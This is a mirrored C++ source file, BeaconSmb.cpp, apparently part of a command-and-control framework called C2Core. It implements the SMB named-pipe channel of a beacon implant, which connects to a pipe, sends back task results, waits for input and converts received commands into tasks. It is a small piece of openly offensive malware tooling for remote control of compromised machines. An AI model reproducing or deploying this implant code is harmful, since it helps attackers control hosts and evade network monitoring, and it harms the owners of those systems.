mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
64 lines
930 B
C++
64 lines
930 B
C++
#include "BeaconSmb.hpp"
|
|
|
|
using namespace std;
|
|
using namespace PipeHandler;
|
|
|
|
|
|
BeaconSmb::BeaconSmb(const std::string& pipeName)
|
|
: Beacon("127.0.0.1", 911)
|
|
{
|
|
m_clientSmb = new PipeHandler::Client(pipeName);
|
|
}
|
|
|
|
|
|
BeaconSmb::~BeaconSmb()
|
|
{
|
|
delete m_clientSmb;
|
|
}
|
|
|
|
|
|
void BeaconSmb::checkIn()
|
|
{
|
|
DEBUG("initConnection");
|
|
while(!m_clientSmb->initConnection())
|
|
{
|
|
Sleep(333);
|
|
DEBUG("initConnection");
|
|
}
|
|
|
|
std::string output;
|
|
taskResultsToCmd(output);
|
|
|
|
DEBUG("sending output.size " << std::to_string(output.size()));
|
|
|
|
bool res = m_clientSmb->sendData(output);
|
|
if(res)
|
|
{
|
|
string input;
|
|
while(input.empty())
|
|
{
|
|
res=m_clientSmb->receiveData(input);
|
|
Sleep(50);
|
|
}
|
|
if(res)
|
|
{
|
|
DEBUG("received input.size " << std::to_string(input.size()));
|
|
|
|
if(!input.empty())
|
|
{
|
|
cmdToTasks(input);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DEBUG("Receive failed");
|
|
}
|
|
}
|
|
else
|
|
DEBUG("Send failed");
|
|
|
|
|
|
m_clientSmb->closeConnection();
|
|
}
|
|
|